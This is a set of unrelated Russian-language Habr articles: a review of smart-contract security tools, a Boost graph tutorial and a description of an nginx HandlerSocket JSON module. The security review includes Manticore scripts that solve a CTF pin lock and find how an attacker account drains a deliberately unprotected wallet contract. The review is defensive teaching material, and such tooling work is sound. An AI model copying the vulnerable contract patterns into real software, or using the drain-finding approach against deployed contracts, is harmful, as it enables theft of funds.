eth_tx_order_dependence_minimal.sol:14:9: Warning: Transaction-Ordering Dependency.
owner.transfer(reward)
Flow2
eth_tx_order_dependence_minimal.sol:22:9: Warning: Transaction-Ordering Dependency.
msg.sender.transfer(reward)
INFO:oyente.symExec: ====== Analysis Completed ======
```
Теперь натравим на байткод этого контракта:
```
user% oyente -b -s eth_tx_order_dependence_minimal.bin
INFO:oyente.symExec: ============ Results ===========
INFO:oyente.symExec: EVM Code Coverage: 18.0%
INFO:oyente.symExec: Callstack Depth Attack Vulnerability: False
INFO:oyente.symExec: Transaction-Ordering Dependence (TOD): False
INFO:oyente.symExec: Timestamp Dependency: False
INFO:oyente.symExec: Re-Entrancy Vulnerability: False
INFO:oyente.symExec: ====== Analysis Completed ======
```
Как видим, сильно уменьшилось покрытие (с 98 до 18 процентов) и инструмент не находит проблем с контрактом.
Развивать Oyente непросто из-за (ну очень) плохого кода. Например, параметры из модуля в модуль передаются через глобальные переменные. Скорее всего потому, что над проектом работает не более полутора человек.
На всякий случай стоит держать Oyente в своём ящичке с инструментами, но неизвестно, будет ли он развиваться и совершенствоваться.
### [Porosity](https://github.com/comaeio/porosity)
Пожалуй, самый распиаренный декомпилятор. Его главной особенностью является то, что он не работает.
Для демонстрации этой фичи давайте декомпилируем игрушечный контракт, который для чистоты эксперимента соберём относительно старой версией solc'а 0.4.12 от 1 июля 2017-го. Отметим, что в последний раз Porosity обновлялся в январе 2018-го, так что можно расчитывать, что инструмент справится с нашим контрактом.
Оригинал:
```
contract sample {
uint y;
function foobar (uint x) {
if (x == 0) {
y = 0x1337;
} else {
y = 0xb33f;
}
}
}
```
Неповторимый вывод декомпилятора:
```
.\porosity.exe --code $binRuntime --decompile
function func_14ba3f12 {
if (!msg.value) {
}
if (arg_4 != 0x0) {
store[var_xrpMC] = 0xB33F;
}
store[var_zdGc8] = 0x1337;
return;
return;
}
```
При попытке передать ещё и abi, чтобы упростить инструменту работу, Porosity упадёт.
Мы не смогли найти применение Porosity, все попытки использования заканчивались либо получением бессмысленного вывода, либо падением инструмента.
### [Manticore](https://github.com/trailofbits/manticore)
Инструмент для символьного выполнения программ. Некоторое время назад в него добавили поддержку EVM и сейчас развивают (а если появится [постоянный разработчик](https://twitter.com/trailofbits/status/1000057291922661376), то дело пойдёт ещё быстрее). В нём много фишечек, но они не оттестированы и чаще всего не работают. Также у проекта довольно плохо с документацией, но мы надеемся, что в скором времени сообщество исправит этот недостаток.
Перед тем, как мы рассмотрим примеры использования Manticore, стоит "на пальцах" объяснить, что такое символьное выполнение, и в этом нам поможет слайд из презентации "Symbolic Execution for finding bugs" авторства Michael Hicks:
| image |
| --- |
| *Рисунок 4. Symbolic Execution for finding bugs. Michael Hicks.* |
Символьное выполнение позволяет понять, какой вход нужно подать функции/программе, чтобы оказаться в заданной точке. Грубо говоря, во время символьного выполнения собираются все ограничения (условия) на пути исполнения в заданную точку, из этих ограничений составляется формула, решив которую, мы получим нужный нам ввод.
Для демонстрации решим задачу "The Lock" конкурса [EtherHack](https://etherhack.positive.com), проходившего на конференции Positive Hack Days 8. Участникам не был дан исходный код, а только адрес контракта. Для решения задания нужно было вызвать контракт с верным пин-кодом (его проверка реализована в fallback). Решение предполагало проведение обратной разработки для понимания алгоритма проверки пин-кода.
Давайте автоматизируем решение этой задачи. Однако, нам всё же придётся взглянуть на дизассемблированный код контракта, чтобы выяснить, что произойдет (или не произойдёт), если участник отправит валидный пин-код. А именно: стоит подметить, что в программе всего одна инструкция sstore, и мы можем смело предположить, что она будет выполнена, если ключ от ларчика подобран верно.
К сожалению, честно решить задачу не дают баги в Manticore (мы отправили баг-репорты разработчикам, надеемся, в скором времени ошибки исправят), так что придётся выкручиваться — мы переписали контракт в исходный код на Solidity и заменили в нём код возведения в степень последовательными умножениями (из-за баги Мантикора на текущий момент не может эмулировать возведение в степень с символьной базой). Конечно, решать задание во время конкурса таким извращённым способом бессмысленно, но не забывайте, что мы просто демонстрируем инструмент! А наличие исходного кода не упрощает работу, ведь символьное выполнение работает не с ним, а с байткодом.
Достаточно оправданий и выгораживаний, давайте взглянем на скрипт:
**the lock solver**
```
from manticore.ethereum import ManticoreEVM
from manticore.core.smtlib import Operators
from struct import pack
m = ManticoreEVM()
m.verbosity(0)
contract_source_code = '''
contract lock {
uint public unlocked;
function unlock(bytes4 cPincode) payable {
uint digitPowers = 0;
uint iPincode = 0;
for (uint i = 0; i < 4; i++) {
if (cPincode[i] >= 0x30 && cPincode[i] <= 0x39) {
// manticore can't handle pow with symbolic input at the moment
uint digit = (uint(cPincode[i]) - 0x30);
digit *= digit;
digit *= digit;
digitPowers += digit;
iPincode += (uint(cPincode[i]) - 0x30) * 10**(3-i);
} else {
revert();
}
}
if (uint(iPincode) == 0 || uint(iPincode) == 1) {
revert();
}
if (digitPowers == uint(iPincode)) {
unlocked = 0x31337;
}
}
}
'''
user_account = m.create_account(balance=10**18)
m.world.set_balance(user_account, 10**18)
contract_account = m.solidity_create_contract(contract_source_code, owner=user_account)
print "[+] Created a contract account 0x%x" % contract_account
print '[+] Sending transaction with symbolic input'
symbolic_data = m.make_symbolic_buffer(36)
m.transaction(caller=user_account,
address=contract_account,
data=symbolic_data,
value=10**18)
pincodes = None
for state in m.all_states:
world = state.platform
for where, what in world.get_storage_items(int(contract_account)):
_input = Operators.CONCAT(8*4, *world.human_transactions[-1].data[4:8]) # getting 4 bytes after function signature
print '[+] Storage write 0x%x' % state.solve_one(what)
pincodes = state.solve_n(_input, 10)
print '[+] Found %i pincodes:' % len(pincodes)
for pincode in sorted(pincodes):
print ' "%s"' % pack('>I', pincode)
break
if pincodes is not None:
break
```
Запустив его, получим такой вывод:
```
[+] Created a contract account 0x1bfa530d5d685155e98cd7d9dd23f7b6a801cfef
[+] Sending transaction with symbolic input
[+] Storage write 0x31337
[+] Found 3 pincodes:
"1634"
"8208"
"9474"
```
Разберёмся с происходящим. Для начала взглянем на код контракта. Функция unlock принимает на вход четыре байта, в которых ожидает увидеть текстовое представление четырёхзначного десятичного числа. Подойдут только те пин-коды, сумма разрядов в четвёртой степени которых равняется самому пин-коду, исключая ноль и один. Действительно,
Если пин-код удовлетворяет этим условиям, в переменную `unlocked`, расположенную в storage, будет записано число 0x31337.
Теперь разберёмся со скриптом. Что происходит в первой части, легко понять: создаётся аккаунт пользователя, затем контракт. Запускается транзакция с символьными входными данными. Этим действием будет активировано символьное выполнение, которое займёт пару минут. По его завершению, мы проходимся по всем конечным состояниям, проверяя, было ли что-то записано в storage, и если было, выясняем, с какими входными данными совершалась транзакция. Мы вычленяем из них пин-код, четыре байта после сигнатуры вызываемой функции. Если бы мы решали задачу и не знали, сколько цифр в пин-коде ожидает контракт, то доставали бы не четыре, а все тридцать два байта (дефолтный размер ячейки памяти в EVM). Тогда на экране увидели бы подобные числа:
```
0x3136333434343434343434343434343434343434343434343434343434343434
0x3832303800000000000000000000000000000000000000000000000000000000
```
Пользуясь результатами анализа Manticore, мы можем не только решать игрушечные задачки, но и искать игрушечные баги в игрушечных контрактах, просто задавая такие наивные вопросы вроде: "Что нужно отправить контракту, чтобы на нашем адресе оказались все эфирки, которые содержал контракт?"
Посмотрим на пример с незащищённым кошельком с воркшопа EthCC 2018:
**UnprotectedWallet**
```
from manticore.ethereum import ManticoreEVM
from manticore.core.smtlib import solver
m = ManticoreEVM() # initiate the blockchain
source_code = '''
contract UnprotectedWallet{
address public owner;
modifier onlyowner {
require(msg.sender==owner);
_;
}
function UnprotectedWallet() public {
owner = msg.sender;
}
// this function should be protected
function changeOwner(address _newOwner) public {
owner = _newOwner;
}
function deposit() payable public { }
function withdraw() onlyowner public {
msg.sender.transfer(this.balance);
}
}
'''
# Generate the accounts. Creator has 10 ethers; attacker 0
creator_account = m.create_account(balance=10*10**18)
attacker_account = m.create_account(balance=0)
contract_account = m.solidity_create_contract(source_code, owner=creator_account)
print "Creator account: 0x%x" % creator_account
print "Attacker account: 0x%x" % attacker_account
# Deposit 1 ether, from the creator
contract_account.deposit(caller=creator_account, value=10**18)
# Two raw transactions from the attacker
symbolic_data = m.make_symbolic_buffer(320)
m.transaction(caller=attacker_account,
address=contract_account,
data=symbolic_data,
value=0)
symbolic_data = m.make_symbolic_buffer(320)
m.transaction(caller=attacker_account,
address=contract_account,
data=symbolic_data,
value=0)
for state in m.running_states:
# Check if the attacker can ends with some ether
balance = state.platform.get_balance(attacker_account)
state.constrain(balance > 1)
if solver.check(state.constraints):
print "Attacker can steal the ether! see %s"%m.workspace
m.generate_testcase(state, 'WalletHack')
```
Очевидно, разработчики забыли наградить changeOwner атрибутом onlyOwner. Из-за этого атакующий в две транзакции может заполучить средства. Как обычно, всё самое интересное — в конце скрипта. Перечисляя состояния, мы задаём вопрос: "В каком из них у атакующего появились монетки?" А Manticore на него в состоянии ответить. Ответы ищем в папке mcore\_XXX в файле WalletHack\_00000000.tx:
| image |
| --- |
| *Рисунок 5. Результат работы Manticore.* |
Если Manticore не забросят, она вырастет в неплохой инструмент для гибкого анализа умных контрактов, но сейчас она ещё не готова к встрече с реальным миром и реальными задачами.
### [Echidna](https://github.com/trailofbits/echidna) (фазинг)
Echidna — это экспериментальный инструмент, предназначеный для фаззинга смартконтрактов. Однако это не тот фаззинг, о котором вы могли подумать. Для того, чтобы Echidna могла фаззить функции смарт-контракта, вам необходимо специальным образом подготовить свой контракт.
```
// До
contract EchidnaTest {
function sensitiveFunc(uint num, bool stop) {
if (num > 5 && !stop) {
selfdestruct(msg.sender);
}
}
}
```
**после**
```
contract EchidnaTest {
uint num;
bool stop;
function num_setter(uint _num) public {
num = _num;
}
function stop_setter(bool _stop) public {
stop = _stop;
}
function echidna_sensitiveFunc() public returns (bool) {
if (num > 5 && stop) {
selfdestruct(msg.sender);
}
return true;
}
}
```
Другими словами, вы должны "вывернуть" функцию, которую хотите профазить. Echidna будет делать разные последовательности вызовов `num_setter` и `stop_setter`, а затем `echidna_sensitiveFunc`. Также заметьте, что Echidna ожидает (но явно вам не скажет), что ваша функция будет возвращать `true`, когда все идет хорошо. Таким образом, "неправильное" поведение вы можете пометить возвратом `false`, `revert()`, `selfdestruct(0)` и др.
```
p4lex@ubuntu:~/tools/echidna$ echidna-test echid.sol
━━━ echid.sol ━━━
✗ "echidna_sensitiveFunc" failed after 23 tests and 51 shrinks.
│ Call sequence: num_setter(6);
│ stop_setter(false);
✗ 1 failed.
```
Также стоит отметить, что вы не можете задать некие входные данные, которые Echidna будет изменять, поэтому для сложных задач эффективность такого фаззинга оставляет желать лучшего. А вот то, что придется переписывать каждую функцию, которую нужно профаззить, вы наверняка заметили. Справедиливости ради стоит отметить, что если вы умеете писать на Haskell, вы все же можете задавать генераторы входных значений так, чтобы они давали определенный домен из множества возможных значений (например, вы знаете что `num` должен быть больше пяти).
В целом, фаззинг может дать свои плоды. Если уязвимость проявляется только после длинной цепочки действий, символьное исполнение потребует больших затрат CPU и памяти в отличие от фаззинга (который, впрочем, обнаружит эту уязвимость только с некоторой вероятностью). Подробнее о подходе, который используется в Echidna, можно почитать в [тут](https://blog.trailofbits.com/2018/05/03/state-machine-testing-with-echidna/).
### [SmartCheck](http://tool.smartdec.net)
Весьма эксперементальный инструмент с закрытым исходным кодом, которому повсюду мерещатся reentrancy. Из приятного: можно просто скопипастить свой контракт в форму отправки или указать ссылку на гитхаб. И поскольку используется статический анализ кода, то ваш контракт даже не обязан компилироваться. Выглядит это так:
| |
| --- |
| *Рисунок 6. Интерфейс SmartCheck* |
В данном примере обнуление баланса происходит после передачи Ether, что и является сигнатурой для SmartCheck. Однако, использование функций `send` и `transfer` само по себе предотвращает reentrancy (мы разбирали это в [третьей](https://habr.com/company/dsec/blog/347110/) части), так что на скриншоте выше мы видим false positive.
Обратная разработка
-------------------
Поскольку на данный момент в открытом доступе нет работающих декомпиляторов, то для того, чтобы понять, какую логику реализует тот или иной контракт, придется пореверсить. В целом, надежда на то, что декомпилятор будет, есть. Первые попытки были предприняты в Porosity, а скорее всего решение работающее, но, к сожалению, закрытое [есть](http://blog.ret2.io/2018/05/16/practical-eth-decompilation/) у ребят из RET2. А пока давайте взглянем, что мы можем сделать, оставшись наедине с байткодом.
### [EVMdis](https://github.com/Arachnid/evmdis)
Старый и самый удобный дизассемблер. Он не может похвастаться красивыми интерфейсами, зато у него есть фишечки, которых нет в других инструментах: во-первых, он сворачивает инструкции, вместо последовательности показывая одно, более читабельное выражение, и во-вторых, для каждого базового блока EVMdis показывает стек на входе в блок, в том числе символизированные переменные. Это значительно ускоряет процесс понимания логики кода, поскольку без этих данных состояние стека пришлось бы восстанавливать с начала функции, ведь EVM — стековая машина.
Например:
```
# Stack: []
0x33 PUSH(0xFFFFFFFF & CALLDATALOAD(0x0) / 0x100000000000000000000000000000000000000000000000000000000)
0x34 DUP1
0x3E JUMPI(:label5, 0x2F54BF6E == POP())
...
:label36
# Stack: [@0x420 @0x408 0x0 @0x2A1 @0x282 :label22 @0x33]
0x43F POP()
0x440 POP()
0x443 PUSH(MLOAD(0x40))
...
```
По 0x33 достаётся значение из calldata и кладётся на стек. Поскольку это значение неизвестно, оно символизируется. Далее, мы можем наблюдать его в стеке базового блока label36 среди других символьных и конкретных значений (чисел и адресов переходов).
На наш взгляд, это самый удобный инструмент для обратной разработки контрактов.
### [Ethersplay](https://github.com/trailofbits/ethersplay)
Плагин к Binary Ninja, добавляющий поддержку архитектуры EVM. Промежуточные представления (LLIL, и MLIL) ниндзи не будут работать, ведь EVM — это стековая машина, так что читать придётся голые ассемблерные инструкции. Из приятного: у плагина есть словарь с парами `{ хеш: прототип функции }`, так что можно сразу определить многие известные функции (например, реализующие разные интерфейсы стандартов ERC):
| image |
| --- |
| *Рисунок 7. Интерфейс Binary Ninjia с плагином Ethersplay* |
Также в плагине есть фича, показывающая состояние стека для каждый инструкции:
| image |
| --- |
| *Рисунок 8. Состояние стека показываемое Ethersplay* |
Но она заменяет все символьные переменные словом `Unknown`, тогда как EVMdis вместо него пишет адрес, где эта символьная переменная появилась в стеке.
Ethersplay не прижился в нашем арсенале, но, возможно, его разовьют до стадии, когда он превратится в полезный инструмент.
### [Ida-evm](https://github.com/trailofbits/ida-evm)
Процессорный модуль для IDA Pro, позволяющий ей дизассемблировать контракты. Ещё в нём есть словарь с прототипами функций, как в Ethersplay.
| image |
| --- |
| *Рисунок 9. Интерфейс IDA с процессорным модулем IDA-EVM* |
Однако, этого недостаточно для удобной обратной разработки контрактов, ведь состояние стека всей программы придётся прорабатывать руками. На наш взгляд, внимания этот инструмент не заслуживает, поскольку скорее всего развития не получит, а в текущем виде он бесполезен.
Тестировaние
------------
В этом разделе хотелось бы поговорить о том, что реально имеет тенденцию сделать из вашего контракта защищенный контракт, а именно о тестирование. Как показывает практика, в смарт-контракте, который хотя бы на 95% покрыт тестами, вероятность серьезной уязвимости небольшая. В процессе написания тестов, скорее всего, будет дописана масса необходимых проверок, но не стоит обольщаться, еще останутся вещи, которые могут подсказать только опытные аудиторы безопасности или разработчик. Например, найти 0day уязвимости в предметной области, которую реализует контракт, или какие-то другие логические ошибки, либо же подсказать, как сделать определенные механизмы контракта (DApp) эффективнее.
### [Truffle](http://truffleframework.com)
Удобнее всего проводить тестирование "не отходя от кассы" с помощью Truffle (c ним же и разрабатывается большинство смарт-контрактов). В папке test (появляется после `truffle init`) вы можете писать тесты и запускать их с помощью команды `truffle test`. Впрочем, вряд ли кто-то может рассказать лучше про тестирование с truffle, чем официальная [документация](http://truffleframework.com/docs/getting_started/javascript-tests). Также не забудьте померить покрытие тестами с помощью инструмента [solidity-coverage](https://www.npmjs.com/package/solidity-coverage).
### [web3.js](https://web3js.readthedocs.io/en/1.0/)
Если по каким-то причинам (а их может быть немало) вас не устраивает Truffle, можно писать тесты, используя web3 библиотеки (они есть под разные языки). Удобнее всего применять web3.js, поскольку написанный код тестов можно будет легко перенести в будущую DApp как часть логики. Единственное предостережение — используйте web3.js версии ^1.0.0. Будущее за ней, и с версией 0.14.0, которая будет у вас первой строкой в гугле, она не совместима. Рассмотрим пример:
**исходник**
```
pragma solidity ^0.4.23;
contract Testable {
address public human;
uint private counter;
constructor() {
human = tx.origin;
}
event CallmeLog();
function callme(uint times) public {
counter++;
if (times > 1) {
callme(--times);
} else {
emit CallmeLog();
}
}
}
```
Прежде чем перейти к самим тестам, придется написать функцию, которая будет заливать свежий контракт в сеть, благо это нужно сделать только раз :)
**тесты**
```
const solc = require('solc');
const fs = require('fs');
const Web3 = require('web3');
const web3 = new Web3(new Web3.providers.HttpProvider('http://127.0.0.1:8545'));
const code = fs.readFileSync('./testable.sol');
async function main() {
// when use unlocked account from node
let defaultAccs = await web3.eth.getAccounts();
web3.eth.defaultAccount = defaultAccs[0];
// this is for known private key
// web3.eth.accounts.wallet.add(privKey.key);
let Testable = await deploy();
human_test(Testable);
callme_tx_status_test(Testable, 3);
callme_event_test(Testable, 3);
// let's got new instance
Testable = await deploy();
callme_storage_test(Testable, 5);
}
async function deploy() {
let output = solc.compile(code.toString(), 1);
let TestableABI = output.contracts[Object.keys(output.contracts)[0]].interface;
let TestableBytecode = output.contracts[Object.keys(output.contracts)[0]].bytecode;
let Testable = new web3.eth.Contract(JSON.parse(TestableABI),{
from: web3.eth.defaultAccount
});
let gasCount = await Testable.deploy({
data: TestableBytecode
}).estimateGas();
Testable = await Testable.deploy({
data: TestableBytecode
}).send({
gas: gasCount
});
return Testable;
}
async function human_test(instance) {
// let's test that contract has owner (human)
// use "call" for public variables and constant methods
let humanAddress = await instance.methods.human().call();
if (humanAddress !== web3.eth.defaultAccount) {
throw "✕ human address is wrong"
} else {
console.log(" human_test passed");
}
}
...
```
Под спойлером показан лишь один тест, поскольку тесты (на чем бы они ни писались) занимают обычно много места. С полным примером предлагаем самостоятельно ознакомиться в [web3\_utilz/Testing](https://github.com/pertsev/web3_utilz/tree/master/Testing).
Подытожим
---------
Инструменты, позволяющие искать баги автоматически, могут выявить сейчас лишь мейнстримные уязвимости, которые и так у всех на слуху, но, скорее всего, будут полезны на CTF.
Что касается инструментов из категории отладки и обратной разработки (reverse engineering), они определенно могут быть полезны в ситуации, когда исходного кода нет. Так, например, они могут помочь в процессе разбора эксплоита для очередной громкой уязвимости или при заимствовании ноу-хау у конкурентов (вспоминается пример с [cryptoKittes](https://medium.com/@montedong/towards-cracking-crypto-kitties-genetic-code-629fcd37b09b)). Ну и не забываем, что для работы с этими инструментами нужны люди с соотвествующими умениями и квалификациями по reverse engineering. Главными же друзьями разработчика, как всегда, остаются изучение чужих ошибок, тестирование и аудирование своих проектов.
Большое спасибо, что докрутили ползунок до конца статьи, для вас старались [p4lex](https://habr.com/users/p4lex/) и [Igor1024](https://habr.com/users/igor1024/). | https://habr.com/ru/post/353676/ | null | ru | null |
# Маскируем класс под граф Boost. Часть 1: Не трогаем интерфейс
[Пролог: Концепции Boost](http://habrahabr.ru/post/210838/)
[Часть 2: Завершаем реализацию поддержки концепций](http://habrahabr.ru/post/212089/)
Потребовалось недавно алгоритм поиска пути для нашей игры переделать. Прошлый был полностью самописный — шаг в сторону, и все плохо… Захотелось взять готовый из хорошего источника. Тут-то и вспомнилось, что в boost есть функциональность для работы с графами. К сожалению подход, «найди функцию, вызови — и все заработает» не состоялся. Упор в библиотеке сделан на максимальную гибкость использования, что негативно сказалось на простоте. В то же время и ничего смертельного — все лучше, чем с нуля делать (и потом исправлять). С другими библиотеками тоже связываться желания не было, в то время как boost в проекте используется давно…
Дано — класс игрового поля со следующим (значимым для данной статьи) интерфейсом
```
class GameField
{
public:
GameField();
bool canPass(int x, int y) const;
int getWidth() const;
int getHeight() const;
};
```
Поле представляет собой обычную сетку из квадратных клеток. Ходить можно в соседние ячейки как прямо, так и по диагонали. Метод **GameField::canPass** позволяет проверить, можно ли пройти в заданную клетку (т.е. она существует и в ней не расположена преграда)
Первым делом потребовалось познакомиться с концепциями boost — о них я писал в [прошлой статье](http://habrahabr.ru/post/210838/). Без этого выполнять все требования библиотеки к графам пришлось бы наугад, читай вечность. Повторяться не буду, остановлюсь лишь на небольшом дополнении предыдущей статьи. В ней был приведен следующий способ проверки концепции
```
BOOST_CONCEPT_ASSERT((SomeFuncAppropriate));
```
Я еще жаловался, что двойные скобки глаза режут. Оказывается, резали не только мне, и boost предлагает более привычный вариант
```
boost::function_requires >();
```
Именно такой формой записи я буду пользоваться в дальнейшем.
Итак. Есть исходный класс, который нужно замаскировать под граф, чтобы boost его принял. При этом сам класс игрового поля (GameField) менять не хочется — здесь я привожу его упрощенный вариант, на самом деле интерфейс класса и без того немаленький, менять его ради не относящейся к прямой функциональности задачи нецелесообразно. Для поиска пути будем использовать алгоритм [A\* (AStar)](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_A*). В [документации](http://www.boost.org/doc/libs/1_55_0/libs/graph/doc/astar_search.html) говорится, что функция boost::astar\_search требует от графа соответствия двум концепциям: [Vertex List Graph](http://www.boost.org/doc/libs/1_55_0/libs/graph/doc/VertexListGraph.html) и [Incidence Graph](http://www.boost.org/doc/libs/1_55_0/libs/graph/doc/IncidenceGraph.html).
* **VertexListGraph** предполагает возможность эффективного обхода всех вершин графа. Для этого нужно будет предоставить средства определения количества вершин и их перебора.
* **IncidenceGraph** должен иметь интерфейс для перебора всех исходящих из вершины ребер. Также для графов этого типа должна существовать возможность получения начальной и конечной вершины для заданного ребра.
Кроме того, концепции графов требуют определения ряда специальных типов, опираясь на которые boost сможет манипулировать нашим классом. Остановимся на них подробнее.
**vertex\_descriptor** определяет тип вершины. В классе GameField вершина определяется двумя координатами ячейки. Первая мысль — повторить это определение с помощью структуры или пары значений (std::pair). Однако **vertex\_descriptor** в зависимости от типа графа должна удовлетворять разным концепциям, т.е придется реализовывать операторы, конструкторы и т.д. Не сказать, что очень сложно, но проще задуматься и понять, что две координаты вершины — это просто особенность реализации нашего игрового поля. Само по себе представление графа от этого (в нашем случае) не выигрывает. Так что было решено, что в модели графа вершины будут просто пронумерованы ((0, 0) -> 0, (0, 1) -> 1 и так далее). Это позволит использовать в качестве типа вершин стандартный **int**, который уже поддерживает всю необходимую функциональность. Конечно, придется реализовать две функции — для перевода индекса вершины в координаты графа
```
std::pair getCoordinates(const Vertex position, const GameField& graph)
{
return std::make\_pair(position % graph.getWidth(), position / graph.getWidth());
}
```
и обратно
```
Vertex getVertex(int x, int y, const GameField& graph)
{
return x + y * graph.getWidth();
}
```
Откуда взялся тип Vertex будет объяснено ниже.
**edge\_descriptor** — тип ребра. Ребро — это две вершины, так и запишем: std::pair
**directed\_category** — должен соответствовать одному из специальных типов-тегов (по сути это структуры без данных и методов), котрые определят, является ли граф направленным. В нашем случае не является, поэтому использовать будем значение boost::undirected\_tag
**edge\_parallel\_category** Еще один тип-тег, определяющий, допустимы ли в нашем графе параллельные ребра (когда между двумя вершинами может существовать больше одного ребра). Не допустимы — используем значение boost::disallow\_parallel\_edge\_tag
**traversal\_category** Тоже тег. Определяет способы обхода графа. Здесь все немного сложнее. Для VertexListGraph это должен быть boost::vertex\_list\_graph\_tag, а для IncidenceGraph соответственно boost::incidence\_graph\_tag. Решается это созданием нового типа-тега, который наследовал бы оба варианта обхода
```
struct game_field_traversal_catetory:
public boost::vertex_list_graph_tag,
public boost::incidence_graph_tag
{
};
```
**vertex\_iterator** Итератор для обхода вершин. Его реализацию рассмотрим в следующей части статьи.
**out\_edge\_iterator** Итератор для обхода исходящих из вершины ребер, также будет реализован в дальнейшем.
**degree\_size\_type** Тип, в котором выражается степень вершины (количество исходящих ребер). Целое число.
**vertices\_size\_type** Тип, в котором выражено количество вершин графа. Также примем за целое число.
Подробнее остановлюсь на типах-тегах (правильно это называется [диспетчеризация тегов](http://www.boost.org/community/generic_programming.html#tag_dispatching)). Они используются для перегрузки функций, чтобы воспользоваться той или иной особенностью модели. Например, определив тег boost::undirected\_tag, мы сообщаем библиотеке, что ребра графа не являются направленными. В результате она будет использовать функции, не требующие отдельного задания исходящих и входящих ребер.
Теперь нужно сопоставить типы игровому полю. Первый вариант привязки — размещение дополнительных определений непосредственно в классе.
```
class GameField
{
public:
typedef int vertex_descriptor;
...
```
Однако интерфейс GameField хочется оставить без изменений. К счастью, boost предоставляет такую возможность. Все необходимые типы извлекаются библиотекой не из класса графа напрямую, то есть не так
```
GameField::vertex_descriptor
```
Вместо этого используется специальный шаблон **boost::graph\_traits**
```
boost::graph_traits::vertex\_iterator
```
По умолчанию он просто получает соответствующий тип из класса-параметра, т.е. делает следующее
```
template
struct graph\_traits {
typedef typename Graph::vertex\_descriptor vertex\_descriptor;
...
```
Можно написать свою специализацию graph\_traits для класса GameField, которая будет работать с ним, как нам удобно, т.е. не пытаться искать необходимые типы в игровом поле. Выше был описан выбор типов словами, теперь рассмотрим окончательную реализацию. Не забываем поместить ее в пространство имен boost.
```
namespace boost
{
template <> struct graph_traits
{
typedef int vertex\_descriptor;
typedef std::pair edge\_descriptor;
typedef boost::undirected\_tag directed\_category;
typedef boost::disallow\_parallel\_edge\_tag edge\_parallel\_category;
typedef game\_field\_traversal\_catetory traversal\_category;
typedef VertexIteratorImpl vertex\_iterator;
typedef OutEdgeIteratorImpl out\_edge\_iterator;
typedef int degree\_size\_type;
typedef int vertices\_size\_type;
typedef void in\_edge\_iterator;
typedef void edge\_iterator;
typedef void edges\_size\_type;
};
}
```
Обратите внимание, что структура содержит несколько типов, которые ранее не упоминались: in\_edge\_iterator, edge\_iterator, edges\_size\_type. Они не нужны для реализации концепций VertexListGraph и IncidenceGraph, соответственно их можно не уточнять (сделать **void**).
В дальнейшей работе желательно ссылаться на типы в graph\_traits (т.е. использовать vertex\_descriptor вместо int, если речь идет о вершине), чтобы оставить себе возможность менять при необходимости определения в одном месте. Поскольку конструкция вида **boost::graph\_traits<GameField>::vertex\_descriptor** тяжеловата как для написания, так и для прочтения, введем простые имена типов, которыми будем пользоваться в дальнейшем
```
typedef boost::graph_traits::vertex\_descriptor Vertex;
typedef boost::graph\_traits::edge\_descriptor Edge;
typedef boost::graph\_traits::vertex\_iterator VertexIterator;
typedef boost::graph\_traits::out\_edge\_iterator OutEdgeIterator;
typedef boost::graph\_traits::degree\_size\_type DegreeSizeType;
typedef boost::graph\_traits::vertices\_size\_type VerticesSizeType;
```
Всё, необходимые типы определены. В **graph\_traits<GameField>** были использованы **VertexIteratorImpl** и **OutEdgeIteratorImpl** — реализацию этих итераторов рассмотрим в [следующей части статьи](http://habrahabr.ru/post/212089/). Также будут реализованы необходимые для поддерживаемых концепций функции работы с графами. | https://habr.com/ru/post/211558/ | null | ru | null |
# http_handlersocket_json_module
О назначении модуля можно догодаться из названия. О [HandlerSocket](http://habrahabr.ru/search/?q=handlersocket) говорят много и на разных языках (в основном на японском, английском и последнее время немного на русском).
Модуль NGX\_HTTP\_HANDLERSOCKET\_JSON\_MODULE обращается к данным MySQL через протокол HandlerSocket и отдает данные в формате JSON. Область применения AJAX.
[Исходники](https://github.com/akalend/ngx_http_handlersocket_json_module)
О конфигурации, особенностях и ограничениях можно почиать ниже.
###### Инсталляция
Инсталляция стандартная, конфигурирование с опцией --add-module:
`./configure --add-module=/full/path/to/dir/nginx_http_handlersocket_json_module`
далее
`make & sudo make install;`
###### Конфигурация
Конфигурация определена в контексте локейшена. Пример ниже:
> location ~ /json/(.+)/$ {
>
> hs\_json;
>
>
>
> hs\_json\_host 127.0.0.1;
>
> hs\_json\_port 9998;
>
>
>
> hs\_json\_db test;
>
> hs\_json\_table hs\_test;
>
>
>
> hs\_json\_index code; # PRIMARY default
>
> hs\_json\_fields keyid,value,code;
>
>
>
> hs\_json\_op "="; # = default
>
> hs\_json\_limit 10; # default 10
>
>
>
> set $hs\_request $1;
>
> }
Более подробно:
hs\_json; — активирует модуль
Параметры соединения (хост и порт по умолчанию localhost:9998, так что можно не указывать, а вот имя базы данных указать прийдется обязательно):
hs\_json\_host 127.0.0.1;
hs\_json\_port 9998;
hs\_json\_db test;
Таблица данных и список выбранных полей (все параметры обязательные):
hs\_json\_table hs\_test;
hs\_json\_fields keyid,value,code;
Индекс, по которому должна осуществляться выборка:
hs\_json\_index code;
При отсутствии данной опции используется PRIMARY индекс.
Операция, это условие по выборке данных.
hs\_json\_op "="; # = default
Возможны следующие операции: =, <, <=, >, >=
По умолчанию, при отсутствие директивы применяется операция «равно»
Ограничение на вывод данных:
hs\_json\_limit 10;
При отсутствии директивы 10.
Условие на выбор данных, осуществляется через переменную $hs\_request. Данные можно назначить как часть урла:
location ~ /json/(.+)/$ {
set $hs\_request $1;
}
Как переменную GET или COOKIES:
`location ~ /json {
set $hs_request $get_id;
}`
ПРИМЕР:
Пусть необходимо выбрать города по нескольким первым буквам. Список ограничен 10 позициями. Города выбираются из таблицы:
CREATE TABLE city {
name VARCHAR(45),
id INT,
PRIMARY (id),
KEY `name` (`name`),
}
Если использовать следующую часть конфига:
`location ~ /city/(.+)/${
..... // параметры соединения
hs_json_index name,
hs_json_fields name;
hs_json_op ">=";
set $hs_request $1;
}`
то это будет аналог запроса: SELECT \* FROM cities WHERE city\_name >= '$hs\_request' LIMIT 10
Запрос будет браться из последней части урл, Наприме для запроса: http: // myserver.com/city/san/ будет сформирован набор даных:
`[{"name":"San Amaro"},{"name":"San Andreas"},{"name":"San Andrs"} ... ]`
###### Ошибки
1. 500 — неправильная конфигурация, ошибка реализации протокола или ошибка ответа HS
2. 503 — нет соединения с HS или ошибки ввода/вывода
Если ключ не найден — отдается пустой ответ: {[]}, 404 ошибка не формируется.
###### Ограничения
* Величина выходного буфера должна быть не более 1К (1024), регулируется #define BUFF\_SIZE. Для моих задач больше не нужно.
